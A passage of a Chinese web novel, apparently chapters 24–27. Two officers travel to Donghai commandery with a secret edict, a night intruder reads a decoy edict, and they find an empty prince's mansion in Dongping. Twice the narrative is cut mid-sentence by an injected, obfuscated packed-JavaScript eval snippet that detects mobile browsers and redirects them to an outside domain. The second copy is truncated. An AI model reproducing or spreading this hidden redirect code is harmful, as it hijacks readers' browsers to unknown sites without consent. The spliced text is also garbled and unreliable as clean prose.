“我大小也是个将军了,趁手的近战兵器总要有那么一两样,”钱氿屈指一弹软剑,剑身发出了清脆的锵锵声。“薄如蝉翼,韧如丝绸,吹发即断,看着银灿灿却丝毫不反光,在黑市里头至少值五百两银子,我存上三年俸禄也买不来,您就这么送我了,可不准反悔。” “这东西值五百两银子?”韦祎心下生出了几分迟疑来,“反正也不是我花钱买的。不过,你想用这个做佩剑,哪里有面子,就等着被人家嘲笑吧。” 凡是软剑,遮遮掩掩、阴阴诡诡,与人对战只求出其不意,一击必杀,多是女杀手所用,军中武艺崇尚大开大合,哪有人会用这东西。 “出其不意攻其不备才是对垒真意,大张旗鼓地打架那是要面子不要命。要是有谁以为我没有近战武器,冲到我近前来,结果我拔出了软剑,他死前还大吃一惊,哈!”钱氿笑道。 “行,你随便,我们去了。此去若是顺利,七天后就可以赶上大军,若是有什么不顺,便到时候再联系。” 还是觉得不放心,韦祎又翻出来一把可以藏在袖子中的短匕首,给周冲身上留件利器。 趁着夜色,刚吃了晚饭的韦祎和周冲跨上马,拐上东银官道,背对着大军的行进方向,向东奔去。 东银官道东至沥州的州府所在地东海郡,西达西北交通重地银州归良郡,韦祎等人现在身处的位置是个好地方,向南赶路两天即可到苏州,向东赶路六个时辰即可到达东海郡。 沥州是大齐国东部临海重地。海上通商运输,以沥州东海郡大港为主。 当王爷的,若是被封到东海郡,算是隆恩。但这位皇十三子云攸纾可没被封到东海郡,而是东海郡再往南七十里外的东平郡。和东海郡相比,东平郡更像个附属的镇甸,主要经济来源便是给东海郡提供农副产品。 但是托东海郡的福,不少小商旅选择在此落脚,东平郡也不算闭塞。 赶了一夜的路,中途只停下来歇息了半个时辰,吃了个火烤土豆垫肚子。夜间官道无人,可以放马全速奔腾,第二天辰时末便到达了东海郡。 这个时候,东海郡已经非常热闹了。来往商旅行人摩肩接踵,送肉类果蔬的货车来往不停,人声鼎沸,城门大开,守城士兵只维持秩序,并不检查物品,一身武器的韦祎和周冲顺利的混进城去。 幸好,此时早餐的时间快过去了,早点铺子里不算很挤,终于有了几张空桌。 韦祎看中了一家颇具当地特色的早点,将马拴在店门口,坐定。听了店小二报菜名,叫了一大碗扁肉燕拼鱼肉圆子汤,周冲要的是大碗卤面,觉得不够,又叫了一份糍团。韦祎心想周冲这是不好意思多点菜,于是加了一碟海蛎饼,一碟虾酥,一碟盐水鸭脯。 赶了一晚上的路,此时腹中空空,二人风卷残云般将一桌的早点都吃光了,当然是韦祎付钱。然后迅速找个客栈,要两个房间,各自倒头大睡补眠。 为了赶路方便,昼伏夜出。 白日里睡到午后申时末,周冲比韦祎先醒来,洗漱了一番,又走出客栈,在这条街上逛了一通。 他幼时长在东南,那里虽也沿海,却是军港,出了连绵的营房,外头百里不见人家。生在军中,长在兵营,出门的机会太少了,趁着今天的机会,他还想去东海郡大港看一看,凑个热闹。 在客栈门口徘徊,转了第三圈时,热心肠的店小二跑出来问他,“客官可是在找什么,小的给您介绍?” 自己去吧,怕耽误了中郎将的差事,叫中郎将一起去吧,又不太好意思。“没有没有。”周冲犹豫不成了,跑上楼去拍门叫韦祎起来。 韦祎是醒了,正抱着被子瞪着帐子顶不想爬起来,有人敲门,只好起身。冲外头喊一声,“小二!劳驾您端盆热水!” “好咧!热水马上送到!”小二可利落,韦祎本想关上门等一会儿,却看见大堂当值小二话 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韦祎越看越不顺眼,“还有!你没事儿就别在这里正坐,说话声那么大,怕别人不知道你当兵?还有这手,你是不是不挎腰刀手没地方放?” 周冲此时正一手紧紧攥拳放于桌面上,另一只手在腰间搭了几次,也没摸到可以扶着的刀柄,正难受呢。 “算了,就待这么一天,外人面前记得就成了。”韦祎摆摆手。他没跟周冲一起去过外头,这还是他第一次见周冲穿便装。 在韦祎眼里,周冲年纪又小,家世平平,让他换便装一起外出,满以为这人会穿一身短打,扮作仆从倒也合适。 等周冲换了他自己的便服出来,一见,着锦缎圆领长袍,戴漆纱平式幞头,蹬皂靴,佩瑛珏,俨然是上等人打扮。 愣了一会儿,韦祎想明白过来,虽然自己不觉得什么,可周冲怎么说也是正儿八经的从六品百户将军,只讲品级的话,这可比县令的官儿还要大,当然是上等人。 乍然点通这一层,韦祎心中竟然有些羞愧起来。 人家周冲明明是年少有为,独立打拼,强上自己许多,自己心底里竟然把他当佣人小子一般的地位看待,不知道在这几年的相处之中,这并不敬重的态度有没有惹得众人不快。 转念想,韦祎还真觉得这几人之中,池勤更像个当官的,肖丰十分有将军气质,虽然钱氿常常没个正形,但韦祎还是很自然地把他当将军看待。只有周冲郑予,没那么像当官的。 难道真与年龄有关? “你还没说,叫我干嘛,要下楼吃饭?”韦祎去洗了脸,用新换的干净手巾擦干,披上外袍,系好腰带。 “中郎……额,公子啊,我想去东海郡的大码头看看,长长见识。” “哦,那你去吧。”韦祎挠头,“东平郡离这儿不远,咱们明早一开城门就出发,不到晌午就能到。今晚你想四处看看便自去,饮食花销报公账。” 话是这么说,报账麻烦的要死,饮食住宿的小钱韦祎就替他自掏腰包了。 周冲在那踌躇着。 “对了,我的字是子隽,子丑寅卯的‘子’,隽永的‘隽’,被你叫公子我好生难受,你还是叫我的字。”韦祎说,“你今年二十了,可有取字?” “我爹去得早,没有叔伯,我娘不识几个字,不会取,便一直未曾取字。不过啊,子,子……”周冲在那子了老半天也没叫出子隽两个字来,“您长我几岁,我称呼您为兄长,您看可以吧!” “可以。”韦祎记起来,自己唯一的表弟是皇子,论起礼制来,周冲这么叫颇为僭越,不过这也无所谓,没人在乎那本礼制。前阵子周冲还拉过沅公主的小手呢,讲起礼制来,命都要没了。 “你既然未曾取字,等回了京城,我替你寻觅位宿老名将,你拜个师,方便取个好字。” “宿老名将”便是韦祎的岳丈魏国公。周冲的长枪用的确实不错,是块好材料,魏国公心怀家国,名震四海,满门忠良干将,为人爽朗不藏私,周冲若能拜在魏家门下,前途无忧。 25. 万兽图 “您当真?!”周冲从椅子上跳了起来。 “自然当真。” 接下来,周冲咣地一跺脚站定,虎虎生风地正色抱拳,用上了平时的力道大喝一声:“卑职谢中郎将提拔!” 韦祎抱住了脑袋,这么一喊,怕是上下两层楼的人都能听见了。 并不想和周冲一起出门去,但睡了一天也该饿了,韦祎决定下楼去吃饭。这家店也供应正餐,走下一楼就是用餐的大堂。周冲跟了下来,餐桌几乎坐满了,稍等了半盏茶的时间,有一桌客人离开,店小二立刻擦了桌子请他们两个坐下。 来了港口大郡,鱼是一定要吃的。 “小二哥,这店可真热闹,生意好啊!”周冲与店小二闲聊。 “当然啦,最近走海运来咱们东海郡的大船可多了!东家赚了一大笔,给我们免了两成的贡钱,您赶上了好时候,这几天在我们这打尖住店,通通有优惠!” “你们东家可真是好人!” “岂止,我们东家是数一数二的巾帼豪杰!手下沥州、苏州百来间铺子,岂能是常人?” “好厉害!不过贵东家为何是夫人当家呢,难不成东家老爷已经……” “什么夫人啊,东家还未嫁人呢!不知道哪一位青年才俊能被我们东家看上,那就有福了!” “喔喔!太了不得了!我发现啊,这里多是蒸鱼,汤清清亮亮的……” 周冲和店小二继续唠嗑,听到了店小二的描述,韦祎眼神越过周冲,望向了店外立着的旗子。早上走进来的时候没有注意观察,只看这家店面最为宽敞整洁便走进来了。 果然,旗子的上半部分是店名,下半部分画着罗氏商行的标识——圆滚滚胖乎乎的红色“罗”字。 在东部开客栈的大老板,又是年轻女子,莫不是罗晏的那位堂妹? 韦祎有些坐立不安。 他问道:“小二,你这家店生意如此红火,你们大东家一定常常来巡视指点罢?” “哪能啊?这位公子有所不知,我们这样的老店,经营自有分寸,只要不出岔子,东家从不亲临,东家事忙呢。”小二话锋一转,凑过来小声笑道:“若是东家常来我们店里,想要追求东家的青年才俊们,不得把店子给包下来日夜守候啊!” 韦祎应和着周冲一起笑起来,又想到,从前没有见过,对面不相识,即使她就身在此处,也不用怕,便放下心来吃了晚饭。 周冲闹他一同去大码头看看热闹。 “你自己便罢了,为何要拉着我一起?”韦祎懒得动弹,若不是刚才周冲去叫他了,他都不会穿上外衣下楼吃饭,就叫人送到屋里了。 等下在门前走上一两圈权当消食,就再回去歇了。这家店热水充沛,惦记着想好好泡个澡,这几日里行军,没个好好沐浴的机会,身上都快臭了。 “您就跟我一同去嘛!您也没来过东海郡吧,听说港口可热闹呢!” “不去不去。” 昏昏沉沉地泡在浴桶里,这店家十分周到,浴具很干净,一应备好了潘汁、浴巾、还有一盒花瓣。店小二好心建议韦祎去相邻的一家汤池洗浴,那里有采耳修脚推拿按摩的服务,舒服许多。不过韦祎才不想和一群光着身子的人待在一起呢,闭门在房间里最好。 一来,韦祎考虑着自己身上带着那份至关重要的密旨,可别去人多处闲逛,大意易生变。二来,韦祎还真的来过东海郡,两次。 第一次是年幼时,柳不寒与韦寅带着小韦祎从京城南下,至东海郡,在城里玩了几天,向官府借调了一艘小型巡岛船,出海航行七日,把韦祎送到了师门所在的小岛,拜了师之后,柳不寒与韦寅在岛上加足补给便离开了。 第二次是韦祎十五岁时,他与罗晏学成出师,收好行李下山,从小岛上的码头乘坐客船,到达了终点站——东海郡大港。 在东海郡,罗家的人早得了信,等在码头上,二人刚一下船,便被罗家的人截住。 在东海郡稍稍停留两日休整,罗家的人便想带着罗晏去往罗氏大宅。 罗氏的本家大宅在苏州往南的徽州。罗晏当时对这群“家人亲信”很认生,不愿与他们同行,非要拉着韦祎与他同去,韦祎觉得无所谓,同意了。 于是罗家人便带着罗晏和韦祎两个人南下,送进了本家大宅。 刚从大山里出来,住进了这么一个堪称占地辽阔、富丽堂皇的大宅子。 罗晏的父母是族长,罗晏是身份尊贵的少主,韦祎自然是贵客,单独住着一间景致绝佳的大院子,分了十八个佣人听他使唤。 每日早上都有人要帮他穿衣服,端漱口水、递擦脸巾,用餐都不用自己夹菜,让韦祎极不自在。罗晏的父母已经对韦祎十分好了,吃穿用度与罗晏同等,几乎当亲儿子一般。 这不奇怪,罗晏的母亲当年在那座岛上避难养胎,生下罗晏后没多久就回到徽州与丈夫共同经营,刚满月的罗晏被她托付给了罗晏的师父师伯。 从那之后十五年,这是他们一家第一次见面。 所以说,罗晏和韦祎,这两个小少年在罗晏父母的眼里看着差不多,多年来积攒着无处使用的父爱母爱全都浇到这两个人身上了。 一次家人团聚用餐时,罗晏的父母问起韦祎可有家人,这是起意想要把韦祎也留下。 “家父在京中做个小官。” 罗晏母亲问:“原来是朝中的贵人,可否告知名讳?” 韦祎如实告知父母名讳。 罗晏和韦祎发现,罗父、罗母听到这个答案之后脸色有些奇怪,好似很惊喜一般。不过他们没再追问,一家人便继续吃饭。 徽州是个好地方,更何况此处紧邻苏州,去苏州玩也很方便。罗晏被拘在家里不知道做些什么呢,韦祎一个人出去游山玩水,走遍市井大街小巷,过了好些天逍遥日子。 自从罗父罗母问过了韦祎家世之后,亲切里更多了些莫名其妙的尊敬,搞得韦祎更加难受。在罗家住了不到两个月,一日罗晏跑来商议,要与韦祎一同逃出大宅。 “这不是你家吗?你逃什么?” 罗晏也没说明白,似乎是家里要他做些什么事情,他不乐意,于是伙同韦祎逃出去避一避。 二人一拍即合。 这两个人想溜,罗家的护院绝对拦不住,带足盘缠,谋划一番,一同北上,决定去韦祎家。 路上倒也精彩,一边赶路一边玩,十天的路程被他们走出两个月来。 到了京城,打听一番,找到了韦宅。“这不是你自己家吗?你都不记得在哪儿?” “我那时候还小呢,能记住才怪!” 到了韦宅正门,吓了一跳,大门处怕不是有三十多排队拜访的外国商旅,水泄不通!二人挤到门前去敲门,不仅没有人应,还被门口的商旅们用各国语言好一番指责,“年纪轻轻怎么不知道排队呢?没素质!没素质!” 二人退出来。 “门口为何有这许多奇形怪状的人物?” “谁知道呢?伯父究竟是做什么的,好大的权势!” “我爹爹不过是五品小官,是个翻译。” “得了吧!五品小官在京城算得了什么,能有这么多人排着队想见他?我看你也不靠谱,你连自己家在哪儿都记不住呢,忘了爹是谁也有可能。”罗晏不指望韦祎了,他便去大街上打听。 回来锤了韦祎一拳。“这儿住着的是朝中从二品的大员!你别记错了,是你家吗?” “是啊,就是这儿。” “那不开门怎么办?” 二人找到僻静处,窜上墙,跳到屋顶上。 这两个月翻墙的事儿常常做,很熟练。 宅子里几乎没人。 凑巧,明天就是八月十五了,府里没什么大事,柳不寒便给佣人们提前放假。 两只皮猴子一边纳闷为何府中无人,一边在府里悄悄跳上窜下。 终于,见一容貌平平的中年贵妇人,穿一套堇色家常纱衫,翘脚靸鞋,独自坐在正房大厅的桌旁看书,桌上摆了各种成色的透明晶石二十余块,妇人放下书,用小锤逐一敲打晶石,拿起来对着太阳观察,稍后,又去身后的案上提笔记录。 没多久,往返数次,愈发烦躁,终于,妇人一把抓起了好几块晶石猛劲往墙上一扔! 静静站了一小会儿,又去墙角把晶石都捡回来,继续。 天不冷,门窗都开着。 罗晏:“我的天,这是谁呀?你认识吗?” “应该就是我娘!”韦祎定睛看看,柳不寒这些年都没什么大变化,因而很好认出来。 既然是娘亲,便不必藏头露尾了,二人从房檐上跳下。 柳不寒抬眼看,没出声,也没表情。 动作倒是很迅速,飞快地起身,韦祎以为娘要冲过来与自己相认呢,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357853|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实不然。柳不寒扑向墙边,墙上挂着宝剑,她敏捷地抽出宝剑来横在身前,这才出言厉喝:“何方宵小!” “嗯……”韦祎语塞。 柳不寒也不急着出剑攻击,她判断,这两个人既然会轻功,武力定然比自己要好得多,谨慎为上。 “这位夫人,敢问您可是韦大人的夫人柳氏?”罗晏作揖,斟酌着问道。 “我正是柳不寒!”柳不寒仗剑冷笑,她看清了面前是两个小少年,不是很怕了,讥讽道,“不知二位是哪家的公子,闯入私宅,好生无礼!” “嗯……,那个,我是您儿子。”韦祎继续语塞。 “哎?你是我儿子?小祎?”柳不寒没把宝剑放下,而是继续横在身前,走到韦祎面前来。 打量了半响,“倒真是挺像!” “好吧!”柳不寒收了剑,“哎?今年你十五了啊,我说怎么回来了呢。回来了也成,今天是没人打扫,你们自己看着办,娘给你们做饭!”她还是很想热情迎接儿子来着。 罗晏被柳不寒这番“爽朗”的操作惊到了,一时没话说。 韦祎却想起来些幼时的事情来,武功好不好不知道,但柳不寒做饭的手艺确实是可以杀人的,赶忙阻止,他可不想刚回家就食物中毒:“娘,您别忙了,晚饭我来做!” 于是二人便又住到了韦家。 对这两个人来说,韦宅比罗家大宅舒适多了。罗家大宅的那些包金的椅子、水晶的花菰、珍珠的门帘,雕梁画栋一步一景,令人时时刻刻生出一种德不配位的惶恐。 韦宅没什么多余选择,韦祎是仅有的少爷,当然住第二进院子的正房,罗晏住同院子的隔壁。宅院规规整整恰到好处,屋子里也不错,装潢以稳重淡雅为要,因为久不住人,甚至光秃秃没有摆设。 柳不寒也不管,放他们俩自己打扫去。 各自走进自己的那间落满了灰尘的“陋室”,二人舒服地呼出一口气来,换上一身家常短衫,挽袖子自力更生。 住进来之后,韦寅和柳不寒既没有多么热情,也不冷淡,普普通通一如既往。 既然空着没摆设,罗晏耗时近三十天,自行创作了五尺宽一丈高的巨幅“墨宝”挂在自己那间屋的墙上,内容是正在行繁衍生息之举的虎、豹、蛇、鼠、牛、狗、豚等百兽。本想取名为“万兽和谐图”,在题字时莫名觉得和谐二字有些奇怪,好像犯了什么忌讳一般,临时改了一个字,作《祥瑞万兽和睦图》,万兽谐音“万寿”,当然是祥瑞。 怎么说呢,选材新颖,构图巧妙,画功不俗,而且考据严谨。 韦祎去看,这图……除了有伤风化之外真没什么缺点,四萬对这幅画推崇备至,每年按时送去装裱铺子保养,再取回来挂上,至今完好如新。 舒心的日子是短暂的,又一个多月过去,罗晏又被前来寻他的罗氏家人抓回了徽州大宅。 人生的轨迹总要分岔,罗晏经商,韦祎做官,劳碌至今。 去检查一番,确认周冲已经游玩回来了。 我不是饭前刚睡醒吗,竟然还能轻易睡着,韦祎从刚洗完澡开始就有些昏沉,收拾停当便甩掉鞋子倒进床上,“明天到了东平郡,希望能顺利带走那个倒霉的熊孩子。” 此时不过刚入夜,客栈临街,街上还有些喧闹。 头挨着枕头,即将睡去。 “难道是泡了热水才头晕?还是说这几日太累,睡不够?”挣扎着想睡时,韦祎焦虑发作,警觉了起来。 常年习武的人,怎么会轻易精神不济? 因为并不知道是吃错了东西还是闻了什么,抑或是真的只是困倦,只好用最笼统的处理方式:运功发汗,同时躺着不动,脑子里复盘这一路会不会出岔子。 走这一路真的没有很谨慎,韦祎得出结论。 已经过了一个时辰,不管体内有没有奇怪的药物,运功这么久早就排出去了,街市上的喧闹声渐止,只剩下打更的梆子。 江湖经验太少了,韦祎忘了一件事。 运功发汗,相当于跑步去了,是会让人更累的。 本来就泡了好久的热水,出了很多汗,又运功一个时辰加快代谢,再加上这几日本就劳累,还刚刚熬过通宵,不管他有没有中奇怪的药物,现在是真的很困了。 继续熬着等有没有变故,还是睡了? 犹豫这当口,眼一闭就睡着了,前功尽弃。 26. 东平郡 过了子夜,韦祎房间的窗户被悄悄推开仅有尺宽的缝隙,轻快灵活的黑影顺着缝隙滑进屋,如同一道黑色的丝绸,无声落地,将窗户归位。 到此时,韦祎是真的没察觉。 败笔是黑影子业务套路太熟练:落地关窗后,非常自然地走到床前,去轻轻推韦祎的肩膀,查验他有没有睡熟。 一般都是下了迷药才沉睡的,所以推也不可能醒。韦祎不是啊,他把药运功排出去了,自己睡着的,所以推这一下子当然醒了。 反应不过来该怎么办的时候就要顺从内心的第一选择,怂就对了:一动不动装睡着。 还好这黑影子是来推了推他,没有拿匕首在他脖子上划一道。 确认了屋主睡着,黑影子在屋内翻找起来。 因为几乎没出声音,所以韦祎睁开眼睛来看,见黑影子没翻多久就看完了韦祎包裹里换洗的衣服,没拿走银钱,而是一丝不差地原样包回去。 随后揣度了一瞬,走到床前,摸韦祎身上。 “我这会儿要是暴起,他一定吓一大跳。”韦祎被人翻得仰躺,心想。 果然在韦祎怀里摸出来黑锦绣祥云的封袋一只,方方正正。 打开来,里面有鹅黄色锦帛一方,上面写了几行字,盖玉玺大印。黑影子此时竟然打起火折子,将“密旨”凑在亮处,仔细看了一盏茶的时间。 就那么几个字,用得着看上一盏茶的时间吗?韦祎纳闷。 看过了,这黑影子把密旨折好,放回封袋,揣进韦祎怀里,又把韦祎翻回侧躺的姿势,盖上了被子。 随后,拉开窗,一闪身滑出房间去,窗户随即缓缓合上。韦祎这时已经坐起来欠身望向窗边了,马上又听到窗户有细碎的响声,正想赶忙躺回去,看见只是伸进来一条铁拨片,将窗栓原样恢复。 拨好了窗栓,外面一声风响,没有了人的气息。 “好厉害的暗探功夫。”韦祎叹道。 这人是谁呢? 闹了这么一番,睡是不敢睡了。 枯坐无趣,韦祎临时抱佛脚,平躺钻研了一夜的运功行气。 东边刚刚出现一线朝阳,韦祎站起身来把周冲叫起来,结房钱,在客栈对面的早餐铺子吃早饭。 东海郡醒得很早,此时街上早餐铺子都开了业,天都没大亮,街上已有人烟。 “昨夜玩得可好?”韦祎问。 “好,大港附近有卖吃食卖小玩意儿、耍把式的,比庙会还热闹,听人说,这里是日日如此呢!”周冲很兴奋,他买了些鱼干、虾干、海菜干,等带回军营找钱氿煮来吃。 “我们还要原路回来,你为何不回来再买?” 周冲愣住,“对,对啊。” “睡得可好?” “好啊,我以为我下午刚醒晚上会睡不着呢,结果一躺下便睡了,幸好今早您叫了我,不然醒不来。” 看来这位也中招了,韦祎心想。 他没有怀疑周冲,而是现在说给周冲听也没用,引得两个人一起焦虑,更要坏事。 肯定不是小偷,民间偷儿用不上这么精巧的功夫。 身负上乘轻功,溜门撬锁下药业务熟练,行动不发出一点点声响,浑身包裹严实没有气味,且丝毫不对钱财起意,这都不是轻松能做到的事情。 韦祎曾混迹皇宫大内,寻思昨晚那人更像是训练有素的密探或者杀手。 趁着人不多,二人出城去,骑上马向南奔向东平郡。 在马上,韦祎仍然想着此事有更大的蹊跷。 还没出发的时候,既然父亲韦寅知晓密旨中所述内容,他便询问父亲如何才能让此行有所保障。 韦寅认为,危险必然会有,其实没什么彻底避免的办法,但是,捉弄敌人一番是可以做到的。 父子二人兴起使坏,造了一份“假密旨”。 说假也不假,因为假得太明显,比如将旨意中,“至沥州携东平郡王云攸纾”一句改为“寻苏州陈皮村农户贾三狗”,一应关键内容胡乱修改一番,又添了许多错别字,那方玉玺红章更是用萝卜胡乱刻的。 昨晚运功焦虑时,韦祎把真的密旨粘在床板下,把假密旨揣进怀里。 黑影子看密旨时,韦祎已经做好了战斗准备,却不想那位不速之客睁大眼睛认认真真看了扯淡假密旨一刻钟,满意离去。 难道是不认字? 不认字看那么认真干吗? 再说,培养一个密探要多少钱,花销大了!上乘武功都教会了,教不会认字?这太不合理了。 揣着满腹疑惑,二人已到了东平郡。这当真是个小郡城,更有乡土人情味儿,城门处来来往往的,都能与守城士兵唠上两句。 行人并不少,往来运菜送肉的多是本地农户。还有不少商户,因为要节省本金,付不起在东海郡的租子,便将铺子开在东海郡,将仓库与作坊开在东平郡,往来运送不休,与本地人也相熟。 “二位官人从何处来,往何处去?”一个队长模样的守城军见韦祎与周冲是生面孔,上前来搭话。 往远了说,其实这位与韦祎和周冲是同行啊,都是守城军。 “这位将军,我与我表弟从京城来,想替东家寻租个仓库,做些小生意,便来到此处。”韦祎提前便跳下马来,硬着头皮上前,殷勤答道,同时摸出一小块碎银子塞给前来问话的这人,“给兄弟们喝杯茶的钱,以后得托诸位多多照拂啊!” 那位队长听人叫他将军,笑得合不拢嘴,又有银钱拿,赶忙把碎银子揣进袖中,“京城的官人能来我们这乡野之地做生意,是东平郡的荣幸呐!” 韦祎回头看了一眼,周冲牵着马远远站着,一脸嫌弃。 没理会周冲,韦祎与守城队长套话,“敢问这位将军,我们早已听说,这东平郡内,有一位王爷呢!这可不得了啊,依您的高见,我们若是在此做些营生,可需要去王府拜会打点一番?” “王爷?这种贵人怎么会在我们这小地方?”队长刚想说没有王爷,才反应过来,“王府倒是有一座,常年无人出入呢,没听说什么王爷,您大可不必担心,若是有王爷,定是残疾瘫痪无法见人的,我在这活了四十多年,从来没听说过有这么一位!” “那我便放下心啦!多谢将军!”韦祎口中说着放心,千恩万谢的牵着马招呼周冲一同走进城中去,心里可一点都不放心。 再看一眼周冲,他依旧满脸不爽。 “你这是怎么了?” “我们守城才不收人家贿赂银钱呢!”周冲不满地小声嘟囔。 “我给他贿赂又不是我给你贿赂,你不爽什么,实在不爽,那你可以回头再整他。”韦祎无奈道。 这场景怎么似曾相识? 好像前些日子韦祎还在嫌弃罗晏贿赂官吏,没过几天就亲自上阵,说不定再过两天就变成周冲给人家使银子,世风日下。 王府在哪里并不好打听,众人大都一脸茫然,不知有这么个地方。后来才在临近城郊的僻静地,找到一幢门可罗雀的宅子。 附近都是些冷清大宅,多是商人置的地产,偶尔前来小住,平日里无人。 王府藏在其中,若不是匾上写着“平郡王府”四个字,真找不到。 按规制,郡王府应有七进院落,每层院落再分为左中右三路,拨禁军府兵三百,内侍七十。 内侍便是宫中的太监或官女子,皇帝亲儿子自然是有资格使用的。 除此之外,郡王还能再自行添置一百民间佣人使唤。 面前这间宅子,既不足七进,门口又无龙旗禁军把守,而且怎么看都不像是住了人口。 韦祎上前叩门,半响,门里竟然有人问话,是位老者,于是韦祎赶忙把门叫开。 递上名帖,拱手道:“在下韦子隽,自京城而来,受珍妃娘娘所托,求见平郡王殿下。”他随口扯谎。 那老者把名帖推了回来,“什么殿下,娘娘的?这位壮士,您找错了地方罢!”便想关了门。 周冲伸腿卡住门,那老者角力不过周冲,无奈起来。周冲便提出要进宅看上一看,才能相信。 老者只好叹口气,“遇到无赖了,这府里是真的没人!”让他们进门看上一眼。 郡王府里,处处是积灰,花坛园林里杂草丛生,住人的地方只余木制家具,全无被褥细软。 全府上下,唯有门房小屋有些人气,返回至此处时,门房里屋走出一位老妪:“老头子,该吃午饭了!你磨蹭些什么呢?” “嘿,你催?来了两个难缠的壮汉,我都说了此处无人居住,无人居住,偏偏不信,非要无赖进来看看,你先吃,待我打发了他们,自去吃饭!”老头子扯着嗓子答道。 壮汉……韦祎腹诽,我哪里是壮汉了,幸好没把肖丰带来,那可就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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留下一锭五两的银子谢两位老人,韦祎询问可知这位少年人在何处居住,老人说那少年自称平日不住在东平郡,偶尔前来便住在客栈里。“只不过……”老妪收了银子,笑道,“有个趣事讲给客人,这少年四年前说话是京城口音,近年说话,越发像是我们沥州口音了,不知道是什么缘故呢。” 韦祎告辞,带周冲忍着腹中饥饿,出了这片清冷巷子,到了城中热闹处。 寻个酒楼,吃午饭。 海莴苣和鱼干凉拌,蒸香芋排骨,蒸豆腐肉圆,还有一罐香浓的奶白色海鱼汤,撒着翠绿的葱花。 吃着饭,周冲一副欲言又止的神情。 “有事你说。” “没事儿,就是想到了,您真是有钱啊。”周冲话中不无羡慕。 韦祎疑惑道:“我哪里有钱?” “上次刚搬到城里临时衙门,您随手买了那么多烧鸡请客,怎么说也得花上二十两银子,还有您刚送的剑啊棍的,听氿哥说值几百两银子呢!当然是有钱。” “嗯,那个武器是别人送我的,不能算我有钱。烧鸡吗,二十两银子也不算多吧!”韦祎答,“怎么,你没钱啊?你的俸禄不少,你家人口也不多,不信你没富余。” “不是钱财的关系,而是教书先生常说的,视金钱如粪土,我若是什么时候有您这样的心态,才能有些境界。” 韦祎思考,我哪里有视金钱如粪土?我的金钱充当飞镖掉到真粪土里可给我心疼坏了……周冲今日倒是有文化了,竟然能想起来教书先生,他平时不是远远听着鲁先生给别人上课都要绕道吗? “我小时候,我爹在兵营里拿不到什么银钱,”周冲回忆说,“我爹能去兵营的食堂用三餐,我和我娘是不能去的,后来情景越发不好,家里断炊,我爹就去食堂打饭,想带回来一些给我和娘亲,结果被人发现,毒打了一顿,把饭菜也扔去喂狗,把我们全家押在狗笼子旁看着狗吃。后来我爹旧伤复发,去世了,我接了军职,家里的情况才好些,只是我爹看不到了。” “我杀敌有功,十几岁就是校尉,颇有些人转了态度来奉承我。有一日庆功宴喝醉了,我夜里跑到狗舍去,把当年吃了我爹饭食的老狼狗拖出来一拳拳捶死。我又不能打人,不管他们什么态度,我看海防营的每一个,都心头火起。” 周冲自嘲道:“到了现在,手头很宽裕了,我和我娘对银钱竟还是放不开手脚,想雇个婆子给家里做饭,省得我娘每日拄着杖烧火买菜,我娘竟然以死相逼,不让花这钱。” 27. 三面觑 周冲真是和池勤合得来,这两个人讲沉重故事的能力旗鼓相当!韦祎觉得口中正嚼着的排骨肉都咽不下去了。以周冲的俸禄,雇佣五个粗活婆子也养得起,韦祎本以为周冲的老娘有人照顾,才毫不犹豫地带他出远差。 钱嘛,韦祎从来没考虑过。 自打出师之后,不仅师父给了许多钱路上用,被莫名其妙带到了罗家,罗晏的父母也塞给他好些“零花钱”,等级和罗晏相同,几百两的银票出现在床头。 在徽州行走,几乎所有花费自动挂帐,给钱店家都不要。 再往后,韦家也殷实,账上可以随意支取,又有不少俸禄,吃穿都不用自己思考。 没钱的时候真有过小半天,是从刚从稞国出发开始逃亡的时候。 稍微思考一会儿,就发现自己腰上的玉佩好像值百两银子,又记起走之前四萬焦虑发作,在每一件衬衣领子里都缝了用油纸包好的银票。 但是这些都没用上,抬头,看到自己抓走的那位稞国皇子头上戴了金冠束发,“你怕别人不知道你是皇子啊,拿来拿来。” 征用了金冠金簪,一脚踩扁,揉成坨,拿去金铺兑了锭子,又拿着金锭子去银号换了一大把散银票,一路衣食无忧,甚至吃住还挺好,要是没人追杀就更好了。 周冲父亲的情况,一旦在军中受辱,当然人人欺压,克扣饷银、言语辱骂、遭人殴打都是有可能的。 军中如此,家属区的情况不会好。 档案里说,周冲父亲带领的队伍全军覆没,他自己却活着,死者家属必然要把帐算到活人家属的头上。周父能带着妻子儿子在这样的情况下坚持十几年,堪称奇迹。 人人可欺、食不果腹的境遇里出生、长大的周冲心态是怎样的?韦祎连设想都设想不出来。 亏得韦祎还常常自得,自己从来不因为骄奢淫逸花费银两,很是节俭呢,掉一颗银豆子在茅坑里都要心疼老半天。 韦祎想说,我只是因为家境好,一身武艺、读书知礼、仕途轻松,都是因为父辈照顾周全。因为既没有缺过本领,又没有缺过金钱,所以才不怕使用本领,不贪财色,更不怕他人挑衅。 但是他与周冲不是能深谈的至交,这样讲给周冲,他只会更难过。 周冲好像不知道韦祎的家世,池勤和钱氿是知道的,钱氿知道了就相当于肖丰知道,韦祎不清楚周冲和郑予有多了解自己。 他俩还是不知道为好。 两位志向远大的小弟若是与我换一换背景设定,生出来就已经离实现梦想不远了,但是我却在这推三阻四地颓废。韦祎咂么着,这样的事态也算有趣。 只得随意安慰周冲道:“别着急,回去再劝劝你娘,总会有办法的。” “可不是吗,池大哥说他派他二妹去照看我娘,让我不必忧心,也许等我出差回去,我娘就被劝通了!” 午饭后,韦祎摸出一张画像来,画像上是那位平郡王的容貌。 “有画像?您刚才为何不拿给看房子的老夫妻认?” 